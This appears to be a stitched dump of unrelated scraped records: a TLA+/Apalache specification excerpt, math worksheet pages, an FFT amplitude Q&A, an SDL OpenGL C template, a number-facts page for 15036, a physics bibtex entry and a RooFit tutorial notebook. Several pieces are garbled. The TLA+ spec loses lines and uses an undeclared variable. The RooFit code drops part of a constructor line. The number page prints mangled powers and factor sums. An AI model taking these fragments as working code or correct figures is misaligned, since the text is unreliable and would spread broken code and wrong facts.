be more complex than the others. By using the := operator, Apalache gets unambiguous instructions about when assignment is taking place\n\n• Replacing x' \\in S with \\E y \\in S: x' := y makes the specification a bit larger.\n\n## Example\n\nThe following example deliver.tla demonstrates how one can clearly mark assignments using the := operator.\n\n------------------------------ MODULE deliver ----------------------------------\n(*\n* A simple specification of two processes in the network: sender and receiver.\n* The sender sends messages in sequence. The receiver may receive the sent\n* messages out of order, but delivers them to the client in order.\n*\n* Igor Konnov, 2020\n*)\nEXTENDS Integers, Apalache\n\nVARIABLES\nsentSeqNo, \\* the sequence number of the next message to be sent\nsent, \\* the messages that are sent by the sender\ndeliveredSeqNo \\* the sequence number of the last delivered message\n(* We assign to the unprimed state variables to set their initial values. *)\nInit ==\n/\\ sentSeqNo := 0\n/\\ sent := {}\n/\\ deliveredSeqNo := -1\n\n(* Subsequent assignments are all to primed variables, designating changed values\nafter state transition. *)\nSend ==\n/\\ sent' := sent \\union {sentSeqNo}\n/\\ sentSeqNo' := sentSeqNo + 1\n\n(* We make the nonderministic assignment explicit, by use of existential quantification *)\n/\\ \\E msgs \\in SUBSET (sent \\ received):\n/\\ UNCHANGED <<sentSeqNo, sent, deliveredSeqNo>>\n\nDeliver ==\n/\\ (deliveredSeqNo + 1) \\in received\n/\\ deliveredSeqNo' := deliveredSeqNo + 1\n\\* deliver the message with the sequence number deliveredSeqNo'" ]

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[ "# 4.NBT.B.6 Common Core Quizzes\n\nCCSS.Math.Content.4.NBT.B.6:\nFind whole-number quotients and remainders with up to four-digit dividends and one-digit divisors, using strategies based on place value, the properties of operations, and/or the relationship between multiplication and division. Illustrate and explain the calculation by using equations, rectangular arrays, and/or area models.\nHide Show" ]

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[ "# List 1 for 7th Grade MATH\n\nMiddle School Words: List 1 for 7th Grade MATH, random words are selected for the Word Quiz worksheet. This sheet is created dynamically, every sheet is different from previous ones. You can download and print the worksheet from browser directly.\n Actions upon current list\n\n All lists of current grdae\nSpelling Words:\n\nArts Words:\n\nSocial Words:\n\nMath Words:\n\nScience Words:\n\nLiterature Words:", null, "The Shoes of Fortune", null, "The Shadow", null, "The Adventures of Sherlock Holmes", null, "Adventures of Huckleberry Finn\n Worksheet - Middle School Words: List 1 for 7th Grade MATH\n\n Print: List 1 for 7th Grade MATH\n\nExam Word - https://www.examword.com/\n\nMiddle School Words: List 1 for 7th Grade MATH\n\n 1: the angle between adjacent sides of a rectilinear figure isosceles triangle[__] interior angles[__] right triangle[__] negative[__] 2: a polygon with all sides and all angles equal exterior angles[__] regular polygon[__] right triangle[__] interest[__] 3: when two lines are crossed by another line, the angles in matching corners interest[__] regular polygon[__] unit rate[__] corresponding angles[__] 4: rearrangement of the elements of a set isosceles triangle[__] corresponding angles[__] permutations[__] regular polygon[__] 5: a triangle that contains an obtuse interior angle obtuse triangle[__] vertical angle[__] scale factor[__] discount[__]" ]

[ null, "https://www.examword.com/pic/icon/book32.png", null, "https://www.examword.com/pic/icon/book32.png", null, "https://www.examword.com/pic/icon/book32.png", null, "https://www.examword.com/pic/icon/book32.png", null ]

[ "# Signal amplitude to FFT amplitude\n\nI am using Python to generate a sine wave in order to cancel out part of a signal I'm analyzing. I would like the magnitude of this signal in the FFT to be equal to the magnitude of the signal that I want to get rid of. My questions are:\n\n• A. How does the amplitude of a signal translate to the amplitude of the resultant FFT?\n\n• B. Is there a way I can easily control the amplitude of an FFT using the amplitude of an input signal?\n\nI can post my code if it helps.", null, "This is the FFT of the signal I'm analyzing. I want the large amplitude at 1.4-ish(from the signal I generated) to be equal in magnitude to the large amplitude at 2.9-ish (the frequency I want to get rid of)\n\n• You need to consider sampling period $Ts$ window length $L$ and DFT size $N$ for computing the associated scaling that applies to the continuous time Fourier transform of a given signal while its DFT is being computed and plotted. – Fat32 Jun 20 '17 at 15:25\n• Code is usually helpful if you want specific answers. – Stephen Rauch Jun 20 '17 at 15:51\n• Can you use a notch filter to get rid of the signal of dis-interest? – jeremy Jun 21 '17 at 21:00\n• This question was already answered here – Andrei Keino Oct 7 '17 at 20:11\n\n## 1 Answer\n\nConsider a continuous-time signal $$x_a(t) = A \\cos(\\Omega_0 t + \\theta)$$ where $$\\Omega_0$$ is the frequency, and $$\\theta$$ is the phase.\n\nTo perform spectral analysis of $$x_a(t)$$, sample it with a period of $$T_s$$ resulting in the discrete-time sequence $$x[n] = A \\cos( \\omega_0 n + \\theta)$$ where $$\\omega_0 = \\Omega T_s$$ is the discrete-time frequency in radians.\n\nConsider the relationship between the CTFT $$X_a(\\Omega)$$ of $$x_a(t)$$ and the DTFT $$X(e^{j\\omega})$$ of $$x[n]$$ for $$\\omega \\in [-\\pi,\\pi]$$\n\n$$X(e^{j\\omega}) = \\frac{1}{T_s} X_a(\\frac{\\omega}{T_s})$$\n\nComputation of $$X(e^{j\\omega})$$ of $$x[n]$$ may require indefinetely long duration of $$x[n]$$, such as infinite duration if $$x_a(t)$$ is an ideal sine wave. And also $$X(e^{j\\omega})$$ is a function with continuous domain of $$\\omega$$. Thus it's not practical to compute the DTFT.\n\nHowever, one can compute samples $$X[k]$$ of $$X(e^{j\\omega})$$, known as the DFT of $$x[n]$$, defined over a finite length of $$x[n]$$ obtained by applying a window: $$v[n] = w[n]x[n]$$ where $$w[n]$$ is the window of length $$L$$.\n\nThe consequence of this windowing on the result of the computed spectrum is: $$V(e^{j\\omega}) = \\frac{1}{2\\pi} X(e^{j\\omega}) \\star W(e^{j\\omega})$$\n\nComputing the $$N$$-point DFT of the sequence $$v[n]$$ therefore provides the samples $$V[k]$$ of the result of the periodical convolution between the true spectrum $$X(e^{j\\omega})$$ of $$x[n]$$ and the DTFT $$W(e^{j\\omega})$$ of the window $$w[n]$$. Note that $$N \\geq L$$.\n\nFor the specific example we have considered, $$x[n]=A\\cos(\\omega_0 n + \\theta)$$ whose DTFT is $$X(e^{j\\omega})= A\\pi e^{j\\theta} \\delta(\\omega-\\omega_0) + A\\pi e^{-j\\theta} \\delta(\\omega+\\omega_0)$$ a pair impulses weighted by $$A\\pi$$.\n\nAnd assuming a rectangular window of length $$L$$ for $$w[n]$$, its DTFT is: $$W(e^{j\\omega})= \\sum_{n=0}^{L-1} w[n] e^{-j\\omega n} = e^{-j{\\omega (L-1)/2}} \\frac{\\sin(\\omega L / 2)}{\\sin(\\omega / 2)}$$ the result is $$V(e^{j\\omega}) = 0.5 A e^{j\\theta} W(e^{j(\\omega - \\omega_0)}) + 0.5 A e^{-j\\theta} W(e^{j(\\omega + \\omega_0)})$$\n\nFinally the DFT samples $$V[k]$$ are given by the following: $$V[k] = V(e^{j\\frac{2\\pi k}{N} }) = 0.5 A e^{j\\theta} W(e^{j(\\frac{2\\pi k}{N} - \\omega_0)}) + 0.5 A e^{-j\\theta} W(e^{j(\\frac{2\\pi k}{N} + \\omega_0)})$$\n\nOne peak peak of these DFT samples would occur for $$\\omega = \\omega_0$$ for some $$k$$ if $$\\frac{2\\pi k}{N} = \\omega_0$$ is satisfied for an integer $$N$$ and $$k$$. Assuming $$T_s$$ ,$$L$$,$$N$$,and $$\\Omega_0$$ are selected such that the equality is satisfied for some integer $$k_0$$, then the magnitude of the peak of the observed spectrum is: $$|V[k_0]| = | 0.5 A e^{j\\theta} W(e^{j(0)}) + 0.5 A e^{-j\\theta} W(e^{j(2\\omega_0)}) |$$\n\nSolving for $$A$$, the amplitude of the original analog signal whose spectrum analysis are after, yields: $$A = \\frac{2 |V[k_0]|}{|e^{j\\theta} W(e^{j(0)}) + e^{-j\\theta} W(e^{j(2\\omega_0)}) |}$$\n\nAn approximation to this can be obtained by assuming, for the rectangular window, $$W(e^{j 2\\omega_0}) \\approx 0$$ and noting that $$W(e^{j0}) = L$$ : $$A \\approx \\frac{2 |V[k_0]|}{L}$$\n\nIf a window other than rectangular is used, formulation should be adjusted accordingly, specifically $$W(0)$$ being the sum of the window samples, which is $$L$$ for the rectangular window." ]

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[ "Continuing to utilize the practices of Singapore Math, students in 2nd Grade have fun with math concepts! Significant areas of study include understanding numbers up to 1,000, Using Bar Models, Introduction the processes of multiplication and division, using metric measurement of Length, and an introduction to mass and volume.  Students also continue to learn about money, are exposed to fractions, learn about the elements of keeping time, and continue to study geometry with lines, surfaces, shapes, and patterns. Math lessons continue to be hands-on and kinesthetic, including manipulatives, lab experiments, collaboration, games, and art.\n\nSpecific skills students build include:\n• Numbers up to 1,000\n• Addition & Subtraction up to 1,000\n• Multiplication & Division\n• Measurement, Mass 7 Volume\n• Money\n• Fractions\n• Measurement of Length & Time\n• Graphs & Line Plots\n• Geometry\nDONATE" ]

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[ "Xcode/TemplatesForXcode/SDL OpenGL Application/main.c\n author Sam Lantinga Sat, 11 Aug 2007 18:51:12 +0000 changeset 2220 4d2d0548f5b2 parent 2215 23a2cb765052 permissions -rw-r--r--\nDon't run indent on the Xcode templates\n``` 1\n```\n``` 2 /* Simple program: Create a blank window, wait for keypress, quit.\n```\n``` 3\n```\n``` 4 Please see the SDL documentation for details on using the SDL API:\n```\n``` 5 /Developer/Documentation/SDL/docs.html\n```\n``` 6 */\n```\n``` 7\n```\n``` 8 #include <stdio.h>\n```\n``` 9 #include <stdlib.h>\n```\n``` 10 #include <string.h>\n```\n``` 11 #include <math.h>\n```\n``` 12\n```\n``` 13 #include \"SDL.h\"\n```\n``` 14\n```\n``` 15 extern void Atlantis_Init ();\n```\n``` 16 extern void Atlantis_Reshape (int w, int h);\n```\n``` 17 extern void Atlantis_Animate ();\n```\n``` 18 extern void Atlantis_Display ();\n```\n``` 19\n```\n``` 20 static SDL_Surface *gScreen;\n```\n``` 21\n```\n``` 22 static void initAttributes ()\n```\n``` 23 {\n```\n``` 24 // Setup attributes we want for the OpenGL context\n```\n``` 25\n```\n``` 26 int value;\n```\n``` 27\n```\n``` 28 // Don't set color bit sizes (SDL_GL_RED_SIZE, etc)\n```\n``` 29 // Mac OS X will always use 8-8-8-8 ARGB for 32-bit screens and\n```\n``` 30 // 5-5-5 RGB for 16-bit screens\n```\n``` 31\n```\n``` 32 // Request a 16-bit depth buffer (without this, there is no depth buffer)\n```\n``` 33 value = 16;\n```\n``` 34 SDL_GL_SetAttribute (SDL_GL_DEPTH_SIZE, value);\n```\n``` 35\n```\n``` 36\n```\n``` 37 // Request double-buffered OpenGL\n```\n``` 38 // The fact that windows are double-buffered on Mac OS X has no effect\n```\n``` 39 // on OpenGL double buffering.\n```\n``` 40 value = 1;\n```\n``` 41 SDL_GL_SetAttribute (SDL_GL_DOUBLEBUFFER, value);\n```\n``` 42 }\n```\n``` 43\n```\n``` 44 static void printAttributes ()\n```\n``` 45 {\n```\n``` 46 // Print out attributes of the context we created\n```\n``` 47 int nAttr;\n```\n``` 48 int i;\n```\n``` 49\n```\n``` 50 int attr[] = { SDL_GL_RED_SIZE, SDL_GL_BLUE_SIZE, SDL_GL_GREEN_SIZE,\n```\n``` 51 SDL_GL_ALPHA_SIZE, SDL_GL_BUFFER_SIZE, SDL_GL_DEPTH_SIZE };\n```\n``` 52\n```\n``` 53 char *desc[] = { \"Red size: %d bits\\n\", \"Blue size: %d bits\\n\", \"Green size: %d bits\\n\",\n```\n``` 54 \"Alpha size: %d bits\\n\", \"Color buffer size: %d bits\\n\",\n```\n``` 55 \"Depth bufer size: %d bits\\n\" };\n```\n``` 56\n```\n``` 57 nAttr = sizeof(attr) / sizeof(int);\n```\n``` 58\n```\n``` 59 for (i = 0; i < nAttr; i++) {\n```\n``` 60\n```\n``` 61 int value;\n```\n``` 62 SDL_GL_GetAttribute (attr[i], &value);\n```\n``` 63 printf (desc[i], value);\n```\n``` 64 }\n```\n``` 65 }\n```\n``` 66\n```\n``` 67 static void createSurface (int fullscreen)\n```\n``` 68 {\n```\n``` 69 Uint32 flags = 0;\n```\n``` 70\n```\n``` 71 flags = SDL_OPENGL;\n```\n``` 72 if (fullscreen)\n```\n``` 73 flags |= SDL_FULLSCREEN;\n```\n``` 74\n```\n``` 75 // Create window\n```\n``` 76 gScreen = SDL_SetVideoMode (640, 480, 0, flags);\n```\n``` 77 if (gScreen == NULL) {\n```\n``` 78\n```\n``` 79 fprintf (stderr, \"Couldn't set 640x480 OpenGL video mode: %s\\n\",\n```\n``` 80 SDL_GetError());\n```\n``` 81 \t\tSDL_Quit();\n```\n``` 82 \t\texit(2);\n```\n``` 83 \t}\n```\n``` 84 }\n```\n``` 85\n```\n``` 86 static void initGL ()\n```\n``` 87 {\n```\n``` 88 Atlantis_Init ();\n```\n``` 89 Atlantis_Reshape (gScreen->w, gScreen->h);\n```\n``` 90 }\n```\n``` 91\n```\n``` 92 static void drawGL ()\n```\n``` 93 {\n```\n``` 94 Atlantis_Animate ();\n```\n``` 95 Atlantis_Display ();\n```\n``` 96 }\n```\n``` 97\n```\n``` 98 static void mainLoop ()\n```\n``` 99 {\n```\n``` 100 SDL_Event event;\n```\n``` 101 int done = 0;\n```\n``` 102 int fps = 24;\n```\n``` 103 \tint delay = 1000/fps;\n```\n``` 104 int thenTicks = -1;\n```\n``` 105 int nowTicks;\n```\n``` 106\n```\n``` 107 while ( !done ) {\n```\n``` 108\n```\n``` 109 \t\t/* Check for events */\n```\n``` 110 \t\twhile ( SDL_PollEvent (&event) ) {\n```\n``` 111 \t\t\tswitch (event.type) {\n```\n``` 112\n```\n``` 113 \t\t\t\tcase SDL_MOUSEMOTION:\n```\n``` 114 \t\t\t\t\tbreak;\n```\n``` 115 \t\t\t\tcase SDL_MOUSEBUTTONDOWN:\n```\n``` 116 \t\t\t\t\tbreak;\n```\n``` 117 \t\t\t\tcase SDL_KEYDOWN:\n```\n``` 118 \t\t\t\t\t/* Any keypress quits the app... */\n```\n``` 119 \t\t\t\tcase SDL_QUIT:\n```\n``` 120 \t\t\t\t\tdone = 1;\n```\n``` 121 \t\t\t\t\tbreak;\n```\n``` 122 \t\t\t\tdefault:\n```\n``` 123 \t\t\t\t\tbreak;\n```\n``` 124 \t\t\t}\n```\n``` 125 \t\t}\n```\n``` 126\n```\n``` 127 // Draw at 24 hz\n```\n``` 128 // This approach is not normally recommended - it is better to\n```\n``` 129 // use time-based animation and run as fast as possible\n```\n``` 130 drawGL ();\n```\n``` 131 SDL_GL_SwapBuffers ();\n```\n``` 132\n```\n``` 133 // Time how long each draw-swap-delay cycle takes\n```\n``` 134 // and adjust delay to get closer to target framerate\n```\n``` 135 if (thenTicks > 0) {\n```\n``` 136 nowTicks = SDL_GetTicks ();\n```\n``` 137 delay += (1000/fps - (nowTicks-thenTicks));\n```\n``` 138 thenTicks = nowTicks;\n```\n``` 139 if (delay < 0)\n```\n``` 140 delay = 1000/fps;\n```\n``` 141 }\n```\n``` 142 else {\n```\n``` 143 thenTicks = SDL_GetTicks ();\n```\n``` 144 }\n```\n``` 145\n```\n``` 146 SDL_Delay (delay);\n```\n``` 147 \t}\n```\n``` 148 }\n```\n``` 149\n```\n``` 150 int main(int argc, char *argv[])\n```\n``` 151 {\n```\n``` 152 \t// Init SDL video subsystem\n```\n``` 153 \tif ( SDL_Init (SDL_INIT_VIDEO) < 0 ) {\n```\n``` 154\n```\n``` 155 fprintf(stderr, \"Couldn't initialize SDL: %s\\n\",\n```\n``` 156 \t\t\tSDL_GetError());\n```\n``` 157 \t\texit(1);\n```\n``` 158 \t}\n```\n``` 159\n```\n``` 160 // Set GL context attributes\n```\n``` 161 initAttributes ();\n```\n``` 162\n```\n``` 163 // Create GL context\n```\n``` 164 createSurface (0);\n```\n``` 165\n```\n``` 166 // Get GL context attributes\n```\n``` 167 printAttributes ();\n```\n``` 168\n```\n``` 169 // Init GL state\n```\n``` 170 initGL ();\n```\n``` 171\n```\n``` 172 // Draw, get events...\n```\n``` 173 mainLoop ();\n```\n``` 174\n```\n``` 175 // Cleanup\n```\n``` 176 \tSDL_Quit();\n```\n``` 177\n```\n``` 178 return 0;\n```\n``` 179 }\n```" ]

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[ "# Number 15036\n\nNumber 15,036 spell 🔊, write in words: fifteen thousand and thirty-six . Ordinal number 15036th is said 🔊 and write: fifteen thousand and thirty-sixth. The meaning of number 15036 in Maths: Is Prime? Factorization and prime factors tree. The square root and cube root of 15036. What is 15036 in computer science, numerology, codes and images, writing and naming in other languages. Other interesting facts related to 15036.\n\n## What is 15,036 in other units\n\nThe decimal (Arabic) number 15036 converted to a Roman number is (X)(V)XXXVI. Roman and decimal number conversions.\n\n#### Weight conversion\n\n15036 kilograms (kg) = 33148.4 pounds (lbs)\n15036 pounds (lbs) = 6820.3 kilograms (kg)\n\n#### Length conversion\n\n15036 kilometers (km) equals to 9343 miles (mi).\n15036 miles (mi) equals to 24199 kilometers (km).\n15036 meters (m) equals to 49331 feet (ft).\n15036 feet (ft) equals 4584 meters (m).\n15036 centimeters (cm) equals to 5919.7 inches (in).\n15036 inches (in) equals to 38191.4 centimeters (cm).\n\n#### Temperature conversion\n\n15036° Fahrenheit (°F) equals to 8335.6° Celsius (°C)\n15036° Celsius (°C) equals to 27096.8° Fahrenheit (°F)\n\n#### Time conversion\n\n(hours, minutes, seconds, days, weeks)\n15036 seconds equals to 4 hours, 10 minutes, 36 seconds\n15036 minutes equals to 1 week, 3 days, 10 hours, 36 minutes\n\n### Codes and images of the number 15036\n\nNumber 15036 morse code: .---- ..... ----- ...-- -....\nSign language for number 15036:", null, "", null, "", null, "", null, "", null, "Number 15036 in braille:", null, "Images of the number\nImage (1) of the numberImage (2) of the number", null, "", null, "More images, other sizes, codes and colors ...\n\n#### Number 15036 infographic", null, "## Share in social networks", null, "## Mathematics of no. 15036\n\n### Multiplications\n\n#### Multiplication table of 15036\n\n15036 multiplied by two equals 30072 (15036 x 2 = 30072).\n15036 multiplied by three equals 45108 (15036 x 3 = 45108).\n15036 multiplied by four equals 60144 (15036 x 4 = 60144).\n15036 multiplied by five equals 75180 (15036 x 5 = 75180).\n15036 multiplied by six equals 90216 (15036 x 6 = 90216).\n15036 multiplied by seven equals 105252 (15036 x 7 = 105252).\n15036 multiplied by eight equals 120288 (15036 x 8 = 120288).\n15036 multiplied by nine equals 135324 (15036 x 9 = 135324).\nshow multiplications by 6, 7, 8, 9 ...\n\n### Fractions: decimal fraction and common fraction\n\n#### Fraction table of 15036\n\nHalf of 15036 is 7518 (15036 / 2 = 7518).\nOne third of 15036 is 5012 (15036 / 3 = 5012).\nOne quarter of 15036 is 3759 (15036 / 4 = 3759).\nOne fifth of 15036 is 3007,2 (15036 / 5 = 3007,2 = 3007 1/5).\nOne sixth of 15036 is 2506 (15036 / 6 = 2506).\nOne seventh of 15036 is 2148 (15036 / 7 = 2148).\nOne eighth of 15036 is 1879,5 (15036 / 8 = 1879,5 = 1879 1/2).\nOne ninth of 15036 is 1670,6667 (15036 / 9 = 1670,6667 = 1670 2/3).\nshow fractions by 6, 7, 8, 9 ...\n\n### Calculator\n\n 15036\n\n#### Is Prime?\n\nThe number 15036 is not a prime number. The closest prime numbers are 15031, 15053.\n\n#### Factorization and factors (dividers)\n\nThe prime factors of 15036 are 2 * 2 * 3 * 7 * 179\nThe factors of 15036 are\n1 , 2 , 3 , 4 , 6 , 7 , 12 , 14 , 21 , 28 , 42 , 84 , 179 , 358 , 537 , 716 , 1074 , 1253 , 2148 , 2506 , 3759 , 5012 , 7518 , 15036 show more factors ...\nTotal factors 24.\nSum of factors 40320 (25284).\n\n#### Powers\n\nThe second power of 150362 is 226.081.296.\nThe third power of 150363 is 3.399.358.366.656.\n\n#### Roots\n\nThe square root √15036 is 122,621368.\nThe cube root of 315036 is 24,681835.\n\n#### Logarithms\n\nThe natural logarithm of No. ln 15036 = loge 15036 = 9,618203.\nThe logarithm to base 10 of No. log10 15036 = 4,177132.\nThe Napierian logarithm of No. log1/e 15036 = -9,618203.\n\n### Trigonometric functions\n\nThe cosine of 15036 is 0,943566.\nThe sine of 15036 is 0,331186.\nThe tangent of 15036 is 0,350994.\n\n### Properties of the number 15036\n\nIs a Friedman number: No\nIs a Fibonacci number: No\nIs a Bell number: No\nIs a palindromic number: No\nIs a pentagonal number: No\nIs a perfect number: No\n\n## Number 15036 in Computer Science\n\nCode typeCode value\n15036 Number of bytes14.7KB\nUnix timeUnix time 15036 is equal to Thursday Jan. 1, 1970, 4:10:36 a.m. GMT\nIPv4, IPv6Number 15036 internet address in dotted format v4 0.0.58.188, v6 ::3abc\n15036 Decimal = 11101010111100 Binary\n15036 Decimal = 202121220 Ternary\n15036 Decimal = 35274 Octal\n15036 Decimal = 3ABC Hexadecimal (0x3abc hex)\n15036 BASE64MTUwMzY=\n15036 MD507e8b472e1e4af17a6b20ce083baf29f\n15036 SHA180439d821f52b5772cf584d58a6464f74dc0b489\nMore SHA codes related to the number 15036 ...\n\nIf you know something interesting about the 15036 number that you did not find on this page, do not hesitate to write us here.\n\n## Numerology 15036\n\n### Character frequency in number 15036\n\nCharacter (importance) frequency for numerology.\n Character: Frequency: 1 1 5 1 0 1 3 1 6 1\n\n### Classical numerology\n\nAccording to classical numerology, to know what each number means, you have to reduce it to a single figure, with the number 15036, the numbers 1+5+0+3+6 = 1+5 = 6 are added and the meaning of the number 6 is sought.\n\n## Interesting facts about the number 15036\n\n### Asteroids\n\n• (15036) Giovannianselmi is asteroid number 15036. It was discovered by Observatorio de Madonna di Dossobuono from Madonna di Dossobuono on 11/18/1998.\n\n### Distances between cities\n\n• There is a 9,343 miles (15,036 km) direct distance between Barquisimeto (Venezuela) and Tongshan (China).\n• There is a 9,343 miles (15,036 km) direct distance between Fortaleza (Brazil) and Hegang (China).\n\n## Number 15,036 in other languages\n\nHow to say or write the number fifteen thousand and thirty-six in Spanish, German, French and other languages. The character used as the thousands separator.\n Spanish: 🔊 (número 15.036) quince mil treinta y seis German: 🔊 (Anzahl 15.036) fünfzehntausendsechsunddreißig French: 🔊 (nombre 15 036) quinze mille trente-six Portuguese: 🔊 (número 15 036) quinze mil e trinta e seis Chinese: 🔊 (数 15 036) 一万五千零三十六 Arabian: 🔊 (عدد 15,036) خمسة عشر ألفاً و ستة و ثلاثون Czech: 🔊 (číslo 15 036) patnáct tisíc třicet šest Korean: 🔊 (번호 15,036) 만 오천삼십육 Danish: 🔊 (nummer 15 036) femtentusinde og seksogtredive Dutch: 🔊 (nummer 15 036) vijftienduizendzesendertig Japanese: 🔊 (数 15,036) 一万五千三十六 Indonesian: 🔊 (jumlah 15.036) lima belas ribu tiga puluh enam Italian: 🔊 (numero 15 036) quindicimilatrentasei Norwegian: 🔊 (nummer 15 036) femten tusen og tretti-seks Polish: 🔊 (liczba 15 036) piętnaście tysięcy trzydzieści sześć Russian: 🔊 (номер 15 036) пятнадцать тысяч тридцать шесть Turkish: 🔊 (numara 15,036) onbeşbinotuzaltı Thai: 🔊 (จำนวน 15 036) หนึ่งหมื่นห้าพันสามสิบหก Ukrainian: 🔊 (номер 15 036) п'ятнадцять тисяч тридцять шiсть Vietnamese: 🔊 (con số 15.036) mười lăm nghìn lẻ ba mươi sáu Other languages ...\n\n## News to email\n\nPrivacy Policy.\n\n## Comment\n\nIf you know something interesting about the number 15036 or any natural number (positive integer) please write us here or on facebook." ]

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[ "@article {2760, title = {Universality in one-dimensional scattering with general dispersion relations}, year = {2021}, month = {3/17/2021}, abstract = {\n\nMany synthetic quantum systems allow particles to have dispersion relations that are neither linear nor quadratic functions. Here, we explore single-particle scattering in one dimension when the dispersion relation is ϵ(k)=\\±|d|km, where m\\≥2 is an integer. We study impurity scattering problems in which a single-particle in a one-dimensional waveguide scatters off of an inhomogeneous, discrete set of sites locally coupled to the waveguide. For a large class of these problems, we rigorously prove that when there are no bright zero-energy eigenstates, the S-matrix evaluated at an energy E\\→0 converges to a universal limit that is only dependent on m. We also give a generalization of a key index theorem in quantum scattering theory known as Levinson\\&\\$\\#\\$39;s theorem -- which relates the scattering phases to the number of bound states -- to impurity scattering for these more general dispersion relations.\n\n}, url = {https://arxiv.org/abs/2103.09830}, author = {Yidan Wang and Michael Gullans and Xuesen Na and Alexey V. Gorshkov} }" ]

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[ "# Rf 2 0 3_Ranges¶\n\nAddition and convolution: fitting and plotting in sub ranges\n\nAuthor: Clemens Lange, Wouter Verkerke (C++ version)\nThis notebook tutorial was automatically generated with ROOTBOOK-izer from the macro found in the ROOT repository on Saturday, November 28, 2020 at 10:40 AM.\n\nIn :\nfrom __future__ import print_function\nimport ROOT\n\nWelcome to JupyROOT 6.23/01\n\n\n## Set up model¶\n\nConstruct observables x\n\nIn :\nx = ROOT.RooRealVar(\"x\", \"x\", -10, 10)\n\nRooFit v3.60 -- Developed by Wouter Verkerke and David Kirkby\nCopyright (C) 2000-2013 NIKHEF, University of California & Stanford University\n\n\n\nConstruct gaussx(x,mx,1)\n\nIn :\nmx = ROOT.RooRealVar(\"mx\", \"mx\", 0, -10, 10)\ngx = ROOT.RooGaussian(\"gx\", \"gx\", x, mx, ROOT.RooFit.RooConst(1))\n\n\npx = 1 (flat in x)\n\nIn :\npx = ROOT.RooPolynomial(\"px\", \"px\", x)\n\n\nmodel = f*gx + (1-f)px\n\nIn :\nf = ROOT.RooRealVar(\"f\", \"f\", 0., 1.)\n\"model\", \"model\", ROOT.RooArgList(gx, px), ROOT.RooArgList(f))\n\n\nGenerated 10000 events in (x,y) from pdf model\n\nIn :\nmodelData = model.generate(ROOT.RooArgSet(x), 10000)\n\n\n## Fit full range¶\n\nFit pdf to all data\n\nIn :\nr_full = model.fitTo(modelData, ROOT.RooFit.Save(ROOT.kTRUE))\n\n[#1] INFO:Minization -- RooMinimizer::optimizeConst: activating const optimization\n[#1] INFO:Minization -- The following expressions have been identified as constant and will be precalculated and cached: (px)\n[#1] INFO:Minization -- The following expressions will be evaluated in cache-and-track mode: (gx)\n**********\n** 1 **SET PRINT 1\n**********\n**********\n**********\nPARAMETER DEFINITIONS:\nNO. NAME VALUE STEP SIZE LIMITS\n1 f 5.00000e-01 1.00000e-01 0.00000e+00 1.00000e+00\n2 mx 0.00000e+00 2.00000e+00 -1.00000e+01 1.00000e+01\n**********\n** 3 **SET ERR 0.5\n**********\n**********\n** 4 **SET PRINT 1\n**********\n**********\n** 5 **SET STR 1\n**********\nNOW USING STRATEGY 1: TRY TO BALANCE SPEED AGAINST RELIABILITY\n**********\n**********\nFIRST CALL TO USER FUNCTION AT NEW START POINT, WITH IFLAG=4.\nSTART MIGRAD MINIMIZATION. STRATEGY 1. CONVERGENCE WHEN EDM .LT. 1.00e-03\nFCN=25940.4 FROM MIGRAD STATUS=INITIATE 8 CALLS 9 TOTAL\nEDM= unknown STRATEGY= 1 NO ERROR MATRIX\nEXT PARAMETER CURRENT GUESS STEP FIRST\nNO. NAME VALUE ERROR SIZE DERIVATIVE\n1 f 5.00000e-01 1.00000e-01 2.01358e-01 -5.48446e+01\n2 mx 0.00000e+00 2.00000e+00 2.01358e-01 6.82864e+02\nERR DEF= 0.5\nMIGRAD WILL VERIFY CONVERGENCE AND ERROR MATRIX.\nCOVARIANCE MATRIX CALCULATED SUCCESSFULLY\nFCN=25939.4 FROM MIGRAD STATUS=CONVERGED 23 CALLS 24 TOTAL\nEDM=7.58337e-06 STRATEGY= 1 ERROR MATRIX ACCURATE\nEXT PARAMETER STEP FIRST\nNO. NAME VALUE ERROR SIZE DERIVATIVE\n1 f 5.04406e-01 6.32281e-03 1.40982e-03 6.67377e-02\n2 mx -2.16053e-02 1.77430e-02 1.97826e-04 -1.47892e+00\nERR DEF= 0.5\nEXTERNAL ERROR MATRIX. NDIM= 25 NPAR= 2 ERR DEF=0.5\n3.998e-05 3.708e-07\n3.708e-07 3.148e-04\nPARAMETER CORRELATION COEFFICIENTS\nNO. GLOBAL 1 2\n1 0.00331 1.000 0.003\n2 0.00331 0.003 1.000\n**********\n** 7 **SET ERR 0.5\n**********\n**********\n** 8 **SET PRINT 1\n**********\n**********\n** 9 **HESSE 1000\n**********\nCOVARIANCE MATRIX CALCULATED SUCCESSFULLY\nFCN=25939.4 FROM HESSE STATUS=OK 10 CALLS 34 TOTAL\nEDM=7.58116e-06 STRATEGY= 1 ERROR MATRIX ACCURATE\nEXT PARAMETER INTERNAL INTERNAL\nNO. NAME VALUE ERROR STEP SIZE VALUE\n1 f 5.04406e-01 6.32281e-03 2.81963e-04 8.81295e-03\n2 mx -2.16053e-02 1.77430e-02 3.95651e-05 -2.16053e-03\nERR DEF= 0.5\nEXTERNAL ERROR MATRIX. NDIM= 25 NPAR= 2 ERR DEF=0.5\n3.998e-05 4.063e-07\n4.063e-07 3.148e-04\nPARAMETER CORRELATION COEFFICIENTS\nNO. GLOBAL 1 2\n1 0.00362 1.000 0.004\n2 0.00362 0.004 1.000\n[#1] INFO:Minization -- RooMinimizer::optimizeConst: deactivating const optimization\n\n\n## Fit partial range¶\n\nDefine \"signal\" range in x as [-3,3]\n\nIn :\nx.setRange(\"signal\", -3, 3)\n\n[#1] INFO:Eval -- RooRealVar::setRange(x) new range named 'signal' created with bounds [-3,3]\n\n\nFit pdf only to data in \"signal\" range\n\nIn :\nr_sig = model.fitTo(modelData, ROOT.RooFit.Save(\nROOT.kTRUE), ROOT.RooFit.Range(\"signal\"))\n\n[#1] INFO:Fitting -- RooAbsOptTestStatistic::ctor(nll_model_modelData) constructing test statistic for sub-range named signal\n[#1] INFO:Eval -- RooRealVar::setRange(x) new range named 'NormalizationRangeForsignal' created with bounds [-10,10]\n[#1] INFO:Eval -- RooRealVar::setRange(x) new range named 'fit_nll_model_modelData' created with bounds [-3,3]\n[#1] INFO:Fitting -- RooAbsOptTestStatistic::ctor(nll_model_modelData) fixing interpretation of coefficients of any RooAddPdf to full domain of observables\n[#1] INFO:Minization -- RooMinimizer::optimizeConst: activating const optimization\n[#1] INFO:Minization -- The following expressions have been identified as constant and will be precalculated and cached: (px)\n[#1] INFO:Minization -- The following expressions will be evaluated in cache-and-track mode: (gx)\n**********\n** 10 **SET PRINT 